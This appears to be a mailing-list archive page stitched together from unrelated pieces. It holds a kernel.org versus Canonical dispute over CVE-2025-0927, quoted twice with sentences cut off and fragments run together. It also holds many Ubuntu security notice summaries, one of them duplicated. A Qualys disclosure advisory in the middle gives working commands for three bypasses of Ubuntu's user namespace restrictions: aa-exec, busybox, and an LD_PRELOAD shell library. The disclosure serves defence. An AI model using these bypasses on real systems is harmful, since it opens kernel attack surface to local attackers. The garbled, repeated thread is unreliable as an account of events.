On Fri, Jun 06, 2025 at 06:00:09PM +0200, Attila Szasz wrote: I don't see how Canonical Product Security is a bad actor here for caring about the actual security of downstream users and acting in a timely manner about an issue that they considered to impact Ubuntu Linux, correctly.
Canonical has a scope of "All Canonical issues (including Ubuntu Linux) only."
kernel.rg has a scope of "Any vulnerabilities in the Linux kernel as listed on kernel.org, excluding end-of-life (EOL) versions."
Both of them were contacted. For the record, the CNA for kernel.org was NOT contacted here at all for this issue. You sent a message to security () kernel org, NOT cve () kernel org. security@k.o has nothing to do with CVE assignments and is NOT responsible for the kernel.org CNA. Our documentation should state this very clearly, if not, we will be glad to update it where needed, just let us know. 4.2.2.1 CNAs SHOULD assign a CVE ID if:
the CNA has reasonable evidence to determine the existence of a Vulnerability (4.1), and the Vulnerability has been or is expected to be Publicly Disclosed, and the CNA has appropriate scope (3.1).
On 3rd Nov, 2024, Kees Cook writes: "The hfsplus filesystem currently has no maintainer, and since we don't view filesystem corruption flaws to be particularly sensitive, probably the best thing to do would be to send the patch like normal to the public linux-fsdevel () vger kernel org (please keep me and other others in this email's CC now on the CC for your patch).
Let's see if the VFS maintainers have any other thoughts on this? (I am forwarding them a copy of the original email now.)"
This is pretty much the last update—no patch is introduced, nor is a CVE issued. The issue is not viewed as sensitive. Again, no one asked for a CVE to be assigned, nor did anyone notify the kernel.org CNA about this issue. My understanding is that 4.1 was not satisfied according to them. Nope, we never were even notified. That being said, we defer to the filesystem maintainers here, and they have stated many times before that hand-crafted filesystems are not a vulnerability according to their rules. That is why we rejected the CVE eventually. CVE-2025-0927 was reserved by Canonical on 31st January, 2025, around the time they fixed the issue internally.
At this point, Canonical, as per 4.2.2.1, assigned a CVE for Canonical Ubuntu Linux for the issue they deemed a vulnerability in Ubuntu Linux.
The kernel neither assigned nor fixed anything regarding the email that was sent to them.
After Canonical’s fix went live, the public advisory was published on 18 March, 2025.
Now, according to:
4.2.1.2 For Publicly Disclosed Vulnerabilities, if the CNA with the most appropriate scope:
preemptively documents that it will not assign, or responds within 72 hours that it will not assign, or does not respond within 72 hours,
then an appropriate Root MUST make a Vulnerability determination.
So the kernel.org CNA team would have had 72 hours to respond to the public disclosure if they thought that the issue was in their scope—but they didn’t. Again, you never notified the kernel.org CNA about this, nor do we even attempt to watch all CVEs that are being created in the system as we just assume that all CNAs are "good actors" and don't do foolish things like this :) So what the hell happens to consumers of the Ubuntu Linux product that don't want their boxes rooted by non-sudoers according to the CNA?
How could Canonical be the bad cowboy here? Someone please enlighten me. They created a CVE against the upstream kernel.org codebase without EVER contacting the kernel.org CNA. That is against the CNA rules, which is why cve.org reassigned the CVE to kernel.org when notified of this. In fact, I'm not even sure upstream would have ever fixed this unless Salvatore reached out from Debian basically asking what had happened:
https://lore.kernel.org/lkml/Z9xsx-w4YCBuYjx5 () eldamar lan/
Note that the initial report was received by security@ early November, 2024. Salvatore's message is dated 20th March. Again, security@k.o has nothing to do with CVEs. After that, Canonical helps Debian by sharing the fix they used in the Ubuntu kernel.
Then, on 24th March, 2024, the Linux CNA finally expresses interest in owning the CVE—that is, 6 days after the disclosure and 72 hours past the deadline defined in 4.2.1.2. Again, no one ever notified cve () kernel org about this, so that is why we did not react until we actually were notified, and then we did act then to get the CVE assigned back to kernel.org
Hope this helps explain things as to why the kernel.org CNA didn't do anything here, because again, they were never notified.
Anyway, we know communication mistakes can happen, not a big deal, we got the CVE reassigned properly, which again, happens every few months with other companies accidentally assigning CVEs against kernel.org stuff, and we move on. Given we are running at a rate of 13+ CVEs a day, stuff like this is bound to happen. All we can do is properly deal with it when we are notified, like we did.
thanks,
greg k-h
If it is genuinely not a kernel vulnerability, but only a Ubuntu one for using the kernel outside of its supported operating parameters, then "make it very clear" does indeed sound correct.
If Ubuntu (or others) believe the kernel.org CNA is incorrect and a) abusing their authority / b) simply lacking good judgement on security matters, for something that is a legit kernel vulnerability, isn't that what the appeals arbitration process is for? Raise the dispute with the appropriate root, and have them overturn the kernel.org decision.
It is, anyways, inappropriate "cowboy justice" for a CNA to violate its scope and assign a CVE number they aren't authorized for, just because they disagree with the other CNA's decision. If Ubuntu (knowingly) isn't going through the correct process then for that reason alone Ubuntu is the bad actor here and should be penalized.
I don't see how Canonical Product Security is a bad actor here for caring about the actual security of downstream users and acting in a timely manner about an issue that they considered to impact Ubuntu Linux, correctly.
Canonical has a scope of "All Canonical issues (including Ubuntu Linux) only."
kernel.rg has a scope of "Any vulnerabilities in the Linux kernel as listed on kernel.org, excluding end-of-life (EOL) versions."
Both of them were contacted.
4.2.2.1 CNAs SHOULD assign a CVE ID if:
the CNA has reasonable evidence to determine the existence of a Vulnerability (4.1), and the CNA has appropriate scope (3.1).
On 3rd Nov, 2024, Kees Cook writes: "The hfsplus filesystem currently has no maintainer, and since we don't view filesystem corruption flaws to be particularly sensitive, probably the best thing to do would be to send the patch like normal to the public linux-fsdevel () vger kernel org (please keep me and other others in this email's CC now on the CC for your patch).
Let's see if the VFS maintainers have any other thoughts on this? (I am forwarding them a copy of the original email now.)"
This is pretty much the last update—no patch is introduced, nor is a CVE issued. The issue is not viewed as sensitive.
My understanding is that 4.1 was not satisfied according to them.
CVE-2025-0927 was reserved by Canonical on 31st January, 2025, around the time they fixed the issue internally.
At this point, Canonical, as per 4.2.2.1, assigned a CVE for Canonical Ubuntu Linux for the issue they deemed a vulnerability in Ubuntu Linux.
The kernel neither assigned nor fixed anything regarding the email that was sent to them.
After Canonical’s fix went live, the public advisory was published on 18 March, 2025.
Now, according to:
4.2.1.2 For Publicly Disclosed Vulnerabilities, if the CNA with the most appropriate scope:
preemptively documents that it will not assign, or responds within 72 hours that it will not assign, or does not respond within 72 hours,
then an appropriate Root MUST make a Vulnerability determination.
So the kernel.org CNA team would have had 72 hours to respond to the public
So what the hell happens to consumers of the Ubuntu Linux product that don't want their boxes rooted by non-sudoers according to the CNA?
How could Canonical be the bad cowboy here? Someone please enlighten me. reached out from Debian basically asking what had happened:
https://lore.kernel.org/lkml/Z9xsx-w4YCBuYjx5 () eldamar lan/ Salvatore's message is dated 20th March.
After that, Canonical helps Debian by sharing the fix they used in the Ubuntu kernel.
Then, on 24th March, 2024, the Linux CNA finally expresses interest in owning the CVE—that is, 6 days after the disclosure and 72 hours past the deadline defined in 4.2.1.2.
Only then is the bug finally fixed, on 7th April—156 days after the report, The CVE, now transferred to kernel.org's scope is rejected on the 8th of April UTC 4am - from my timezone, on the same day.
Canonical addressed everything within 90 days. What's the problem? legitimate Product Security team as a "bad actor" and to focus on systems and users—is categorically stupid.
The real priority should be ensuring that users and businesses are:
properly informed about the risks, and
provided with the necessary remediation steps.
Anything else is a distraction from what truly matters.
It was discovered that c-ares incorrectly handled re-enqueuing certain queries. A remote attacker could possibly use this issue to cause c-ares to crash, resulting in a denial of service.
It was discovered that Mistral incorrectly handled nested anchors in YAML files. An attacker could possibly use this issue to cause a denial of service. This issue only affected Ubuntu 18.04 LTS. (CVE-2018-16848) Pierre Gaxatte discovered that Mistral incorrectly handled erroneous SSH private key filename commands. An attacker could possibly use this issue to expose sensitive information. (CVE-2018-16849) It was discovered that Mistral incorrectly handled the permissions of sensitive log files. An attacker could possibly use this issue to expose sensitive information. This issue only affected Ubuntu 18.04 LTS. (CVE-2019-3866)
USN-7426-1 fixed several vulnerabilities in poppler. This update provides the corresponding update for Ubuntu 16.04 LTS and Ubuntu 18.04 LTS. Original advisory details: It was discovered that poppler incorrectly handled memory when opening certain PDF files. An attacker could possibly use this issue to cause poppler to crash, resulting in a denial of service.
Kim Alvefur discovered that Dino did not correctly sanitize certain messages. A remote attacker could possibly use this issue to leak sensitive information.
Stelios Tsampas discovered that Kamailio did not correctly handle certain memory operations, which could lead to a buffer overflow. A remote attacker could possibly use this issue to cause a denial of service or execute arbitrary code. This issue only affected Ubuntu 16.04 LTS. (CVE-2016-2385) Henning Westerholt discovered that Kamailio did not correctly handle duplicated headers, which could lead to a segmentation fault. A remote attacker could possibly use this issue to cause a denial of service or execute arbitrary code. This issue only affected Ubuntu 16.04 LTS and Ubuntu 18.04 LTS. (CVE-2018-14767) It was discovered that Kamailio did not correctly handle parsing certain headers containing whitespace characters. An authenticated attacker could possibly use this issue to gain access to unauthorized resources and expose sensitive information. This issue only affected Ubuntu 18.04 LTS and Ubuntu 20.04 LTS. (CVE-2020-28361)
It was discovered that libdbd-mysql-perl did not correctly handle certain SQL queries. An attacker could possibly use this issue to cause a denial of service. (CVE-2016-1249) It was discovered that libdbd-mysql-perl did not correctly handle certain memory operations, which could lead to a use-after-free vulnerability. A remote attacker could possibly use this issue to cause a denial of service or execute arbitrary code. (CVE-2016-1251, CVE-2017-10788) It was discovered that libdbd-mysql-perl did not properly enforce SSL connections depending on the mysqlssl setting. A machine-in-the-middle attacker could possibly use this issue to spoof servers. (CVE-2017-10789)
It was discovered that Tomcat incorrectly handled request cancellation. A remote attacker could possibly use this issue to cause tomcat9 to consume resources, leading to a denial of service.
USN-6885-1 fixed a vulnerability in Apache. The patch for CVE-2024-38474 was incomplete and caused regressions. This update provides the fix for that issue. Original advisory details: Orange Tsai discovered that the Apache HTTP Server modrewrite module incorrectly handled certain substitutions. A remote attacker could possibly use this issue to execute scripts in directories not directly reachable by any URL, or cause a denial of service. Some environments may require using the new UnsafeAllow3F flag to handle unsafe substitutions. (CVE-2024-38474)
It was discovered that FIS-GT.M could incorrectly dereference memory in certain instances. An attacker could possibly use this issue to cause FIS-GT.M to crash, resulting in a denial of service. (CVE-2021-44492, CVE-2021-44498, CVE-2021-44508) It was discovered that FIS-GT.M could perform a division by zero due to a lack of input validation. An attacker could possibly use this issue to cause FIS-GT.M to crash, resulting in a denial of service. (CVE-2021-44500) It was discovered that FIS-GT.M could be forced to allocate memory of a chosen size through crafted input. An attacker could possibly use this issue to exhaust the available memory of FIS-GT.M, leading to a crash that would result in a denial of service. (CVE-2021-44502) It was discovered that FIS-GT.M could be forced to read from uninitialized memory due to a lack of input validation. An attacker could possibly use this issue to cause FIS-GT.M to crash, resulting in a denial of service, or execute arbitrary code. (CVE-2021-44506) It was discovered that FIS-GT.M could crash due to an integer underflow. An attacker could possibly use this issue to cause a denial of service. (CVE-2021-44509, CVE-2021-44510)
It was discovered that InspIRCd did not correctly handle certificate fingerprints, which could lead to spoofing. A remote attacker could possibly use this issue to bypass authentication. This issue only affected Ubuntu 16.04 LTS. (CVE-2016-7142) It was discovered that InspIRCd did not correctly handle certain memory operations, which could lead to a NULL pointer dereference. A remote attacker could possibly use this issue to cause a denial of service. This issue only affected Ubuntu 16.04 LTS and Ubuntu 18.04 LTS. (CVE-2019-20917) It was discovered that InspIRCd did not correctly handle certain memory operations, which could lead to a use-after-free. A remote attacker could possibly use this issue to cause a denial of service. (CVE-2020-25269)
USN-7285-1 fixed vulnerabilities in nginx. This update provides the corresponding updates for Ubuntu 24.04 LTS. Original advisory details: It was discovered that nginx incorrectly handled when multiple server blocks are configured to share the same IP address and port. An attacker could use this issue to use session resumption to bypass client certificate authentication requirements on these servers.
Jonathan Clem and Justin Bull discovered that Doorkeeper could allow arbitrary token revocation and replay attacks. An attacker could possibly use this issue to gain unauthorized access to a system. (CVE-2016-6582) It was discovered that Doorkeeper incorrectly handled storing client names. An attacker could possibly use this issue to execute a cross-site scripting (XSS) attack. (CVE-2018-1000088)
USN-7376-1 fixed vulnerabilities in MariaDB. This update provides the corresponding updates for Ubuntu 22.04 LTS and Ubuntu 24.04 LTS. Original advisory details: A security issue was discovered in MariaDB and this update includes a new upstream MariaDB version to fix the issue. In addition to security fixes, the updated packages contain bug and regression fixes, new features, and possibly incompatible changes.
USN-7346-1 fixed vulnerabilities in OpenSC. The update introduced a regression in Ubuntu 16.04 LTS, Ubuntu 18.04 LTS, and Ubuntu 20.04 LTS. The security fix has been removed pending further investigation. We apologize for the inconvenience. Original advisory details: It was discovered that OpenSC did not correctly handle certain memory operations, which could lead to a use-after-free vulnerability. An attacker could possibly use this issue to cause a denial of service or execute arbitrary code. This issue only affected Ubuntu 16.04 LTS, Ubuntu 18.04 LTS and Ubuntu 20.04 LTS. (CVE-2021-42780) It was discovered that OpenSC did not correctly handle certain memory operations, which could lead to a stack buffer overflow. An attacker could possibly use this issue to cause a denial of service or execute arbitrary code. This issue only affected Ubuntu 20.04 LTS. (CVE-2021-42782) It was discovered that OpenSC did not correctly handle the length of certain buffers, which could lead to a out-of-bounds access vulnerability. An attacker could possibly use this issue to cause a denial of service or execute arbitrary code. This issue only affected Ubuntu 16.04 LTS, Ubuntu 18.04 LTS, Ubuntu 20.04 LTS and Ubuntu 22.04 LTS. (CVE-2023-2977) Deepanjan Pal discovered that OpenSC did not correctly authenticate a zero length PIN. A physically proximate attacker could possibly use this issue to gain unauthorized access to certain systems. This issue only affected Ubuntu 20.04 LTS and Ubuntu 22.04 LTS. (CVE-2023-40660) It was discovered that OpenSC did not correctly handle certain memory operations. A physically proximate attacker could possibly use this issue to compromise key generation, certificate loading and other card management operations. This issue only affected Ubuntu 20.04 LTS and Ubuntu 22.04 LTS. (CVE-2023-40661) Hubert Kario, Michal Shagam and Eyal Ronen discovered that OpenSC had a timing side-channel and incorrectly handled RSA padding. An attacker could possibly use this issue to recover sensitive information. This issue only affected Ubuntu 22.04 LTS. (CVE-2023-5992) Matteo Marini discovered that OpenSC did not properly manage memory due to certain uninitialized variables. A physically proximate attacker could possibly use this issue to gain unauthorized access to certain systems. This issue only affected Ubuntu 20.04 LTS, Ubuntu 22.04 LTS, Ubuntu 24.04 LTS and Ubuntu 24.10. (CVE-2024-45615) Matteo Marini discovered that OpenSC did not correctly handle certain memory operations. A physically proximate attacker could possibly use this issue to gain unauthorized access to certain systems. This issue only affected Ubuntu 20.04 LTS, Ubuntu 22.04 LTS, Ubuntu 24.04 LTS and Ubuntu 24.10. (CVE-2024-45616, CVE-2024-45617) Matteo Marini discovered that OpenSC did not correctly handle certain memory operations. A physically proximate attacker could possibly use this issue to gain unauthorized access to certain systems. (CVE-2024-45618, CVE-2024-45620) Matteo Marini discovered that OpenSC did not correctly handle certain memory operations. A physically proximate attacker could possibly use this issue to gain unauthorized access to certain systems. This issue only affected Ubuntu 22.04 LTS, Ubuntu 24.04 LTS and Ubuntu 24.10. (CVE-2024-45619) It was discovered that OpenSC did not correctly handle certain memory operations, which could lead to a buffer overflow. A physically proximate attacker could possibly use this issue to compromise card management operations during enrollment and modification. This issue only affected Ubuntu 20.04 LTS, Ubuntu 22.04 LTS, Ubuntu 24.04 LTS and Ubuntu 24.10. (CVE-2024-8443)
USN-7330-1 fixed vulnerabilities in Ansible. The update introduced a regression when attempting to install Ansible on Ubuntu 16.04 LTS. This update fixes the problem. We apologize for the inconvenience. Original advisory details: It was discovered that Ansible did not properly verify certain fields of X.509 certificates. An attacker could possibly use this issue to spoof SSL servers if they were able to intercept network communications. This issue only affected Ubuntu 14.04 LTS. (CVE-2015-3908) Martin Carpenter discovered that certain connection plugins for Ansible did not properly restrict users. An attacker with local access could possibly use this issue to escape a restricted environment via symbolic links misuse. This issue only affected Ubuntu 14.04 LTS. (CVE-2015-6240) Robin Schneider discovered that Ansible's aptkey module did not properly verify key fingerprints. A remote attacker could possibly use this issue to perform key injection, leading to the access of sensitive information. This issue only affected Ubuntu 14.04 LTS and Ubuntu 16.04 LTS. (CVE-2016-8614) It was discovered that Ansible would expose passwords in certain instances. An attacker could possibly use specially crafted input related to this issue to access sensitive information. This issue only affected Ubuntu 16.04 LTS and Ubuntu 18.04 LTS. (CVE-2019-10206) It was discovered that Ansible incorrectly logged sensitive information. An attacker with local access could possibly use this issue to access sensitive information. This issue only affected Ubuntu 14.04 LTS, Ubuntu 16.04 LTS, and Ubuntu 18.04 LTS. (CVE-2019-14846) It was discovered that Ansible's solariszone module accepted input without performing input checking. A remote attacker could possibly use this issue to enable the execution of arbitrary code. This issue only affected Ubuntu 16.04 LTS and Ubuntu 18.04 LTS. (CVE-2019-14904) It was discovered that Ansible did not generate sufficiently random values, which could lead to the exposure of passwords. An attacker could possibly use this issue to access sensitive information. This issue only affected Ubuntu 16.04 LTS and Ubuntu 18.04 LTS. (CVE-2020-10729) It was discovered that Ansible's svn module could disclose passwords to users within the same node. An attacker could possibly use this issue to access sensitive information. (CVE-2020-1739)
Qualys Security Advisory
Three bypasses of Ubuntu's unprivileged user namespace restrictions
======================================================================== Contents ========================================================================
Summary Bypass via aa-exec Bypass via busybox Bypass via LDPRELOAD Acknowledgments Timeline (advisory sent to the Ubuntu Security Team on January 15, 2025)
------------------------------------------------------------------------ Prologue, from https://grsecurity.net/10yearsoflinuxsecurity.pdf:
+ February 2013 (v3.8) - Unprivileged User Namespace support added - Greatly increased kernel attack surface, exposed many interfaces that previously saw little security scrutiny
+ Attack surface exposed by unprivileged user namespaces isn't decreasing anytime soon - Even more functionality being exposed ------------------------------------------------------------------------
======================================================================== Summary ========================================================================
Ubuntu 23.10 introduced unprivileged user namespace restrictions (the sysctl kernel.apparmorrestrictunprivilegeduserns) and Ubuntu 24.04 enabled them by default. From Alex Murray's excellent blog post at https://ubuntu.com/blog/whats-new-in-security-for-ubuntu-24-04-lts:
"Unprivileged user namespaces are a widely used feature of the Linux kernel, providing additional security isolation for applications, and are often employed as part of a sandbox environment. However, [...] unprivileged user namespaces also expose additional attack surfaces within the Linux kernel. There has been a long history of (ab)use of unprivileged user namespaces to exploit various kernel vulnerabilities.
For Ubuntu 24.04 LTS, the use of unprivileged user namespaces is then allowed for all applications but access to any additional permissions within the namespace are denied. This allows more applications to more gracefully handle this default restriction whilst still protecting against the abuse of user namespaces to gain access to additional attack surfaces within the Linux kernel."
Unfortunately, we discovered three different bypasses of these unprivileged user namespace restrictions; each bypass allows a local attacker to create user namespaces with full administrator capabilities, and therefore to still exploit vulnerabilities in kernel components that require capabilities such as CAPSYSADMIN or CAPNETADMIN:
- An unprivileged local attacker can simply use the aa-exec tool (which is installed by default on Ubuntu) to transition to one of the many pre-configured AppArmor profiles that do allow the creation of user namespaces with full capabilities (for example, the chrome, flatpak, or trinity profile).
- An unprivileged local attacker can first execute a busybox shell, which is installed by default on Ubuntu, and is one of the programs whose pre-configured AppArmor profile does allow the creation of user namespaces with full capabilities.
- An unprivileged local attacker can LDPRELOAD a shell into one of the programs whose pre-configured AppArmor profile does allow the creation of user namespaces with full capabilities (for example, nautilus is installed by default on Ubuntu Desktop).
Clarification: such a bypass allows an unprivileged user to obtain full capabilities inside a namespace, not on the host outside a namespace; for comparison, a bypass is not even needed on most Linux distributions, because they allow unprivileged users to obtain full capabilities inside namespaces by default (and therefore to exploit CAPSYSADMIN kernel vulnerabilities for example), without any restriction at all.
For more information on these bypasses and user namespace restrictions, please refer to Ubuntu's post at:
https://discourse.ubuntu.com/t/understanding-apparmor-user-namespace-restriction
======================================================================== Bypass via aa-exec ========================================================================
Are we all just algorithms doing what we're supposed to do or can we escape our programming? -- Jude, The Matrix Resurrections
While working on needrestart, particularly on commit e17b564 ("core: fix regression of false positives for processes running in chroot or mountns (#317)"), we tried to experiment with user and mount namespaces, but to our great surprise we were barred from creating them as an unprivileged user on Ubuntu 24.04 (although kernel.unprivilegedusernsclone is enabled by default):
------------------------------------------------------------------------ $ id uid=1001(tiffany) gid=1001(tiffany) groups=1001(tiffany),100(users)
$ unshare -U -r -m /bin/sh unshare: write failed /proc/self/uidmap: Operation not permitted ------------------------------------------------------------------------
This error message looked very suspicious to us, so we decided to try the usernschildexec tool (from man usernamespaces) instead of the pre-installed unshare tool:
------------------------------------------------------------------------ $ ./usernschildexec -U -z -m /bin/sh
id uid=0(root) gid=0(root) groups=0(root),65534(nogroup)
mount --bind /etc/passwd /etc/passwd mount: /etc/passwd: bind /etc/passwd failed. dmesg(1) may have more information after failed mount system call. ------------------------------------------------------------------------
This time we were able to create a user and mount namespace, but to our growing surprise we were barred from using any administrator capability inside this namespace (our mount command failed). Puzzled, we eventually found out that these restrictions were introduced in Ubuntu 23.10, and enabled by default in Ubuntu 24.04, to prevent unprivileged local attackers from exploiting kernel vulnerabilities that require capabilities (CAPSYSADMIN, CAPNETADMIN, etc):
https://discourse.ubuntu.com/t/spec-unprivileged-user-namespace-restrictions-via-apparmor-in-ubuntu-23-10
To bypass these restrictions, we immediately tried to run unshare through aa-exec, to transition to one of Ubuntu's many AppArmor profiles that do allow the creation of user namespaces with full capabilities; for example, the trinity profile:
------------------------------------------------------------------------ $ grep userns /etc/apparmor.d/trinity userns,
$ aa-exec -p trinity -- unshare -U -r -m /bin/sh
mount --bind /etc/passwd /etc/passwd
mount ... /dev/sda2 on /etc/passwd type ext4 (rw,relatime) ------------------------------------------------------------------------
At last, we were able to create a user namespace with full capabilities (our mount command succeeded). We later noticed that a quick fix to this particular bypass was already mentioned on Ubuntu's excellent security podcast in October 2023, but unfortunately it was never enabled by default; from https://ubuntusecuritypodcast.org/episode-211/:
"From a defensive security point of view, also is useful to enable an additional sysctl to ensure that anything which is unconfined can't just abuse these profiles by aa-exec'ing themselves via that profile - so then also need to enable the kernel.apparmorrestrictunprivilegedunconfined = 1 sysctl too"
======================================================================== Bypass via busybox ========================================================================
I'm living inside a computer-generated reality that has imprisoned me... again. -- Thomas, The Matrix Resurrections
Let us now suppose that our bypass via aa-exec is fixed (i.e., kernel.apparmorrestrictunprivilegedunconfined is enabled): can we find another way to bypass Ubuntu's unprivileged user namespace restrictions?
The only program that is installed by default on both Ubuntu Server and Ubuntu Desktop, and whose pre-configured AppArmor profile does allow the creation of user namespaces with full capabilities, is busybox.
We therefore simply tried to execute unshare through busybox's built-in shell, and lo and behold, we were again able to create a user namespace with full capabilities (our mount command succeeded):
------------------------------------------------------------------------ $ grep userns /etc/apparmor.d/busybox userns,
$ busybox sh
~ $ /usr/bin/unshare -U -r -m /bin/sh
mount --bind /etc/passwd /etc/passwd
mount ... /dev/sda2 on /etc/passwd type ext4 (rw,relatime) ------------------------------------------------------------------------
======================================================================== Bypass via LDPRELOAD ========================================================================
You're going to imprison me after I just got free? -- Neo, The Matrix Resurrections
Let us now suppose that our bypasses via aa-exec and busybox are both fixed: can we find another way to bypass Ubuntu's unprivileged user namespace restrictions?
Besides busybox, the only other program that is installed by default on Ubuntu Desktop, and whose pre-configured AppArmor profile does allow the creation of user namespaces with full capabilities, is nautilus.
Although nautilus may or may not provide a shell functionality like busybox, we can actually take a more general approach: we can simply LDPRELOAD a small library into nautilus, which then executes a shell. And again, we are able to create a user namespace with full capabilities (our mount command succeeds):
------------------------------------------------------------------------ $ grep userns /etc/apparmor.d/nautilus userns,
$ cat > shell.c << "EOF" #include <unistd.h> static void attribute ((constructor)) init (void) { static char const argv[] = { "/bin/sh", NULL }; static char const envp[] = { NULL }; execve(argv, argv, envp); exit(LINE); } EOF
$ gcc -fpic -shared -o shell.so shell.c
$ LDPRELOAD=./shell.so /usr/bin/nautilus
$ unshare -U -r -m /bin/sh
mount --bind /etc/passwd /etc/passwd
mount ... /dev/sda2 on /etc/passwd type ext4 (rw,relatime) ------------------------------------------------------------------------
======================================================================== Acknowledgments ========================================================================
We thank the Ubuntu Security Team for their work on this coordinated release.
======================================================================== Timeline ========================================================================
2025-01-15: We sent our advisory to the Ubuntu Security Team.
2025-03-21: We noticed that @roddux (on X/Twitter) independently discovered and published the busybox bypass.
2025-03-27: Coordinated release.
It was discovered that SnakeYAML incorrectly handled recursive entity references. An attacker could possibly use this issue to cause SnakeYAML to crash, resulting in a denial of service.
Martin van Kervel Smedshammer discovered that Varnish did not properly sanitize certain HTTP headers. A remote attacker could possibly use this issue to perform a cross-site request forgery (CSRF) attack.
It was discovered that NLTK contained a regex that is susceptible to catastrophic backtracking. An attacker could possibly use this issue to cause a denial of service. (CVE-2021-3842, CVE-2021-43854)
Ivan Fratric discovered that Libxslt incorrectly handled certain memory operations when handling documents. A remote attacker could use this issue to cause Libxslt to crash, resulting in a denial of service, or possibly execute arbitrary code.
Marcus Rückert and Matthias Gerstner discovered that PAM-PKCS#11 did not properly handle certain return codes when authentication was not possible. An attacker could possibly use this issue to bypass authentication. This issue only affected Ubuntu 24.04 LTS and Ubuntu 24.10. (CVE-2025-24531) It was discovered that PAM-PKCS#11 did not require a private key signature for authentication by default. An attacker could possibly use this issue to bypass authentication. (CVE-2025-24032)
It was discovered that Netatalk did not properly manage memory under certain circumstances. A remote attacker could possibly use this issue to execute arbitrary code. (CVE-2024-38439, CVE-2024-38440, CVE-2024-38441)
USN-7343-1 fixed vulnerabilities in Jinja2. The update introduced a regression when attempting to import Jinja2 on Ubuntu 18.04 LTS and Ubuntu 20.04 LTS. This update fixes the problem. We apologize for the inconvenience. Original advisory details: Rafal Krupinski discovered that Jinja2 did not properly restrict the execution of code in situations where templates are used maliciously. An attacker with control over a template's filename and content could potentially use this issue to enable the execution of arbitrary code. This issue only affected Ubuntu 14.04 LTS and Ubuntu 16.04 LTS. (CVE-2024-56201) It was discovered that Jinja2 sandboxed environments could be escaped through a call to a string format method. An attacker could possibly use this issue to enable the execution of arbitrary code. This issue only affected Ubuntu 14.04 LTS and Ubuntu 16.04 LTS. (CVE-2024-56326) It was discovered that Jinja2 sandboxed environments could be escaped through the malicious use of certain filters. An attacker could possibly use this issue to enable the execution of arbitrary code. (CVE-2025-27516)
Zahid TOKAT discovered that .NET suffered from a weak authentication vulnerability. An attacker could possibly use this issue to elevate privileges.
Michael Vaughan discovered an overflow vulnerability in GNU Chess that occurs when reading a specially crafted Portable Game Notation (PGN) file. An attacker could possibly use this issue to cause GNU Chess to crash, resulting in a denial of service, or the execution of arbitrary code.
It was discovered that Ansible did not properly verify certain fields of X.509 certificates. An attacker could possibly use this issue to spoof SSL servers if they were able to intercept network communications. This issue only affected Ubuntu 14.04 LTS. (CVE-2015-3908) Martin Carpenter discovered that certain connection plugins for Ansible did not properly restrict users. An attacker with local access could possibly use this issue to escape a restricted environment via symbolic links misuse. This issue only affected Ubuntu 14.04 LTS. (CVE-2015-6240) Robin Schneider discovered that Ansible's aptkey module did not properly verify key fingerprints. A remote attacker could possibly use this issue to perform key injection, leading to the access of sensitive information. This issue only affected Ubuntu 14.04 LTS and Ubuntu 16.04 LTS. (CVE-2016-8614) It was discovered that Ansible would expose passwords in certain instances. An attacker could possibly use specially crafted input related to this issue to access sensitive information. This issue only affected Ubuntu 16.04 LTS and Ubuntu 18.04 LTS. (CVE-2019-10206) It was discovered that Ansible incorrectly logged sensitive information. An attacker with local access could possibly use this issue to access sensitive information. This issue only affected Ubuntu 14.04 LTS, Ubuntu 16.04 LTS, and Ubuntu 18.04 LTS. (CVE-2019-14846) It was discovered that Ansible's solariszone module accepted input without performing input checking. A remote attacker could possibly use this issue to enable the execution of arbitrary code. This issue only affected Ubuntu 16.04 LTS and Ubuntu 18.04 LTS. (CVE-2019-14904) It was discovered that Ansible did not generate sufficiently random values, which could lead to the exposure of passwords. An attacker could possibly use this issue to access sensitive information. This issue only affected Ubuntu 16.04 LTS and Ubuntu 18.04 LTS. (CVE-2020-10729) It was discovered that Ansible's svn module could disclose passwords to users within the same node. An attacker could possibly use this issue to access sensitive information. (CVE-2020-1739)
George Chatzisofroniou and Panayiotis Kotzanikolaou discovered that wpasupplicant and hostapd reused encryption elements in the PKEX protocol. An attacker could possibly use this issue to impersonate a wireless access point, and obtain sensitive information. (CVE-2022-37660) Daniel De Almeida Braga, Mohamed Sabt, and Pierre-Alain Fouque discovered that wpasupplicant and hostapd were vulnerable to side channel attacks due to the cache access patterns. An attacker could possibly use this issue to obtain sensitive information. This issue only affected Ubuntu 20.04 LTS. (CVE-2022-23303, CVE-2022-23304)